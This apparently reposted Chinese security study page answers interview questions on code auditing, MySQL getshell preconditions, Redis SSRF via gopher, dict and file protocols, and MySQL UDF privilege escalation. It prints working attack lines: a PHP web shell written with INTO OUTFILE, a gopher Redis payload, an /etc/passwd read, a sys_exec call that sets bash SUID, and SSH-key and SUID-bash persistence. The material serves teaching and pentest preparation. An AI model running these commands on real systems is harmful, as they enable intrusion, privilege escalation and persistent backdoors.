安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

一、代码审计核心思路(261)

二、MySQL Getshell前提(262)

三、mysql.ini 关键配置(263)

四、Redis SSRF攻击内网(264)

攻击流程:

常用协议及用途:

五、UDF提权详解(265)

原理流程:

实操步骤:

六、网络安全学习资源(266)

推荐矩阵:

二百六十一、代码审计的思路是什么二百六十二、mysql getshell的前提是什么二百六十三、其中需要mysql.ini 配置参数应该是怎样二百六十四、redis ssf 如何攻击内网,可以用到哪些协议二百六十五、说一下udf提权二百六十六、平常经常在哪些地方学习

一、代码审计核心思路(261)

mermaidgraph LR A[信息收集] --> B[静态分析] B --> C[动态验证] C --> D[漏洞利用] D --> E[报告输出]
  1. 四阶段审计法
    • 入口定位:扫描用户输入点(GET/POST参数、文件上传、Cookie)
    • 数据流追踪:跟踪外部输入在代码中的传播路径(如$_GET→SQL查询
    • 危险函数检测
      • 执行类:eval()/system()/exec()
      • 文件类:file_put_contents()/move_uploaded_file()
      • 反序列化:unserialize()
    • 上下文验证:确认过滤机制有效性(如htmlspecialchars()位置是否正确)

二、MySQL Getshell前提(262)

需同时满足:

  1. 数据库权限
    • FILE权限:SELECT user,file_priv FROM mysql.user
    • 可通过GRANT FILE ON *.* TO 'user'@'%'获取
  2. 路径条件
    • 已知Web绝对路径(通过报错/配置文件泄露)
    • secure_file_privNULL状态(通过SHOW VARIABLES LIKE 'secure_file_priv'验证)
  3. 写入可行性
    • 目标目录MySQL进程可写(Linux默认/tmp,WindowsC:\Windows\Temp
    • 非只读文件系统

📌 关键命令:

sqlSELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; 

三、mysql.ini 关键配置(263)

ini# 允许文件导出(必须为空或指定目录) secure_file_priv = "" # 开启加载本地数据(非必须但推荐) local-infile = 1 # 设置插件目录(UDF提权需用) plugin_dir = /usr/lib/mysql/plugin/ # 配置项验证命令: SHOW VARIABLES LIKE 'secure_file_priv';

四、Redis SSRF攻击内网(264)

攻击流程:
mermaidsequenceDiagram Attacker->>+Vulnerable_Server: SSRF请求 Vulnerable_Server->>+Redis: Gopher协议指令 Redis-->>-Vulnerable_Server: 返回响应 Vulnerable_Server-->>-Attacker: 回显结果 
常用协议及用途:
协议攻击场景Payload示例
Gopher发送任意Redis命令gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcommand%0d%0a
Dict端口扫描/服务探测dict://192.168.1.1:80/info
HTTP穿透WAF攻击内网Web应用封装Redis命令为HTTP POST
File读取服务器敏感文件file:///etc/passwd

五、UDF提权详解(265)

原理流程:
mermaidgraph TB A[上传恶意.so/.dll] --> B[创建UDF函数] B --> C[调用函数执行命令] C --> D[获取系统权限]
实操步骤:
  1. 环境检测
    • 确认MySQL版本:SELECT @@version
    • 获取插件路径:SHOW VARIABLES LIKE 'plugin_dir'
  2. 上传共享库
    • 利用SELECT ... INTO DUMPFILE写入udf.so (需16进制转换)
  3. 函数创建
    sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; SELECT sys_exec('chmod 4755 /usr/bin/bash');
  4. 权限维持
    • 添加SSH密钥:echo pub_key >> /root/.ssh/authorized_keys
    • 创建SUID后门:chown root:root /bin/bash; chmod 4777 /bin/bash

六、网络安全学习资源(266)

推荐矩阵:
类型推荐平台核心价值
漏洞实验室Hack The Box、TryHackMe真实渗透环境实战
技术社区Reddit r/netsec、先知社区前沿漏洞分析/工具分享
视频课程PentesterLab、OffensiveSec手把手教学(含CVE复现)
博客追踪PortSwigger、Project Zero深度技术解析(如0day分析)
CTF平台CTFtime、攻防世界竞赛驱动技能提升
漏洞库Exploit-DB、CVE Details最新漏洞PoC/影响分析
代码仓库GitHub(关键词:CVE/PoC)开源工具链(如sqlmap源码研究)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/94177.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/94177.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/94177.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[创业之路-560]:机械、电气、自控、电子、软件、信息、通信、大数据、人工智能,上述技术演进过程

上述关键词反映的技术演进过程可梳理为一条从机械执行到智能决策的递进式发展主线&#xff0c;各技术领域在不同阶段相互渗透、共同推动机器人技术从功能替代向认知革命跃迁。以下是具体演进逻辑与趋势分析&#xff1a;一、技术演进的三阶段递进机械主导阶段&#xff08;工业革…

芋道前端项目部署后刷新 404 的解决办法(Nginx 配置教程)

很多同学在把 芋道前端项目 部署到服务器后&#xff0c;会遇到一个奇怪的问题&#xff1a; &#x1f449; 项目首页能正常访问&#xff0c;但一旦在浏览器里手动刷新某个页面&#xff0c;就会报 404 Not Found 错误。 这到底是为什么呢&#xff1f;又该怎么解决呢&#xff1f;下…

更适合后端宝宝的前端三件套之HTML

文章目录&#x1f4d5;1. HTML基础✏️1.1 什么是HTML✏️1.2 认识HTML标签✏️1.3 HTML文件基本结构✏️1.4 标签层次结构&#x1f4d5;2. HTML常见标签✏️2.1 标题标签✏️2.2 段落标签✏️2.3 换行标签✏️2.4 图片标签✏️2.5 超链接标签✏️2.6 表格标签&#x1f4d5;3. …

【JVM内存结构系列】四、不同垃圾回收器与堆内存的适配关系:从分代GC到Region GC

在JVM内存体系中&#xff0c;堆内存的“分代结构”与“对象流转规则”是通用基础&#xff0c;但垃圾回收器&#xff08;GC&#xff09;是决定堆内存实际表现的核心变量——不同GC为实现“低延迟”“高吞吐量”等目标&#xff0c;会对堆的划分方式、对象管理逻辑、参数配置规则进…

Zemax光学设计输出3D

输出立体数据文件&#xff08;IGES/STEP/SAT/STL 格式&#xff09;的参数设置界面&#xff0c;各参数含义如下&#xff1a;1. 起始面/终止面&#xff1a;设定要输出立体数据对应的光学表面范围&#xff0c;从第 0 个表面到第 9 个表面 &#xff0c;限定参与输出的光学结构表面区…

模块测试与低功耗模式全攻略

一、模块测试流程在测试一个模块时&#xff0c;建议遵循以下步骤&#xff1a;基本测试&#xff1a;测试该模块的寄存器读写功能是否正常。可以向每个寄存器写入 0x5A5A 和 0xA5A5&#xff0c;这两种模式可以覆盖对寄存器写入 0 和 1 的情况。进阶测试&#xff1a;在基本测试通过…

机器学习实验三、使用决策树算法预测泰坦尼克号幸存者

实验目的1. 掌握特征工程&#xff0c;会进行特征提取与特征选择&#xff0c;会进行缺失值填充。2. 建立决策树模型&#xff0c;解决实际问题。3. 会对模型进行调试&#xff0c;能够绘制并保存决策树。实验环境Python 3.7.0&#xff0c;Sklearn &#xff0c;PyCharm实验原理1、特…

从全栈开发到微服务架构:一次真实的Java面试实录

从全栈开发到微服务架构&#xff1a;一次真实的Java面试实录 面试官与应聘者介绍 面试官&#xff1a;李明&#xff0c;某互联网大厂技术负责人&#xff0c;擅长Java后端、微服务及云原生架构。 应聘者&#xff1a;张伟&#xff0c;28岁&#xff0c;硕士学历&#xff0c;拥有5年…

新的 Gmail 网络钓鱼攻击利用 AI 提示注入来逃避检测

网络钓鱼一直以来都是为了欺骗人们。但在这次活动中&#xff0c;攻击者不仅瞄准用户&#xff0c;还试图操纵基于人工智能的防御系统。 这是我上周记录的Gmail 网络钓鱼链的演变。那次攻击活动依赖于紧迫性和重定向&#xff0c;但这次引入了隐藏的 AI 提示&#xff0c;旨在混淆…

Restful风格设计

文章目录什么是Restful风格&#xff1f;RESTful API设计最佳实践1. URL设计原则2. HTTP状态码的正确使用3. 统一的响应格式实际案例&#xff1a;用户管理系统API总结什么是Restful风格&#xff1f; 我的理解是&#xff1a;Restful是一种基于HTTP协议的架构设计风格&#xff0c…

深入 Glide 图像变换:自定义效果、GIF处理与组合变换

在 Android 开发中&#xff0c;Glide 的强大不仅在于其高效的加载和缓存能力&#xff0c;更在于其无与伦比的可扩展性&#xff0c;尤其是在图像处理层面。当内置的 fitCenter() 和 circleCrop() 无法满足你的设计需求时&#xff0c;自定义 Transformation 便是你的终极武器。本…

数据挖掘 4.8 评估泛化能力

4.8 Estimating Generalization 4.8 评估泛化能力 评估模型的泛化能力如何合理评估模型的泛化能力指导原则 (Guidelines)存在的问题 (Issues)K-fold 交叉验证&#xff08;Cross-Validation)留一交叉验证&#xff08;Leave One Out CV&#xff09;(LOOCV)Stratification 分层训练…

46.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--扩展功能--集成网关--网关集成日志

本篇文章&#xff0c;我们一起在网关中集成日志功能&#xff0c;我们要在网关中记录下游微服务出现的异常信息、请求信息以及响应信息。在微服务架构中&#xff0c;网关作为系统的入口&#xff0c;承担着非常重要的职责。通过在网关层面集成日志功能&#xff0c;我们可以更好地…

使用 FastAPI 的 WebSockets 和 Elasticsearch 来构建实时应用

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何使用 FastAPI WebSockets 和 Elasticsearch 构建实时应用程序。 更多阅读&#xff1a;使用 FastAPI 构建 Elasticsearch API 想要获得 Elastic 认证吗&#xff1f;看看下一次 Elasticsearch Engineer 培训什么时候开始&…

华为云ModelArts+Dify AI:双剑合璧使能AI应用敏捷开发

引言:AI应用开发的敏捷化转型需求 随着大语言模型(LLM)技术的迅猛发展,企业与开发者对AI应用开发的敏捷化转型需求日益凸显,亟需将大模型能力快速转化为实际业务价值。传统AI开发模式中,复杂的模型工程化、流程编排和部署维护工作往往需要专业技术团队支撑,典型痛点包括…

网络实践——Socket编程UDP

文章目录Socket编程UDPUDP接口的使用铺垫socketrecvform && sendtobind字节序转化使用(Tips)实践部分version_1echo_serverversion_2dict_serverversion_3chat_serverSocket编程UDP 在了解了相关的网络基础知识后&#xff0c;我们不会像学系统知识一样&#xff0c;先学…

GD32 波形发生器,三角波,正弦波,方波。AD9833+MCP410生成和MCU自身的DAC生成。波形,频率,振幅可以通过按键和OLED调整输出。

DIY一个简易的信号发生器驱动板&#xff0c;主要是三角波和正弦波&#xff0c;方波。主板有两个通道能输出波形&#xff0c;CH0由AD9833MCP410AD8051放大电路组成&#xff0c;理论可以生成0.1-12.5MHZ的频率信号&#xff0c;单电源振幅范围是1-9V。CH1由MCU外设DAC生成的信号&a…

VS2022的MFC中关联使用控制台并用printf输出调试信息

前言 MFC一般在调试的时候&#xff0c;可以在IDE中方便的看到调试的信息。但是&#xff0c;有时候运行的时候也要看调试的信息怎么办&#xff1f;最好如同在Console&#xff08;控制台&#xff09;程序中输出一般的方便&#xff0c;可以么&#xff1f;可以的。 一、设置 1.1、加…

ZKmall模块商城的推荐数据体系:从多维度采集到高效存储的实践

在电商领域&#xff0c;个性化推荐已成为提升用户体验与转化效率的核心手段。ZKmall 模块商城基于用户行为、商品属性与交易数据&#xff0c;构建了一套完整的推荐算法体系&#xff0c;而数据采集的全面性与存储的高效性是该体系的基础。本文将聚焦推荐算法的 “数据输入端”&a…

Qt + windows+exe+msvc打包教程

目录 1. Qt + windows+exe+msvc打包教程1 1.1. Enigma Virtual Box下载⏬1 1.2. Enigma Virtual Box安装2 1.3. Qt 打包成独立exe教程6 1.3.1. Qt项目创建6 1.3.2. Qt项目编译13 1.3.3. Qt 项目打包 windeployqt命令14 1.3.4. Qt 项目打包 Enigma Virtual Box工具18 Q…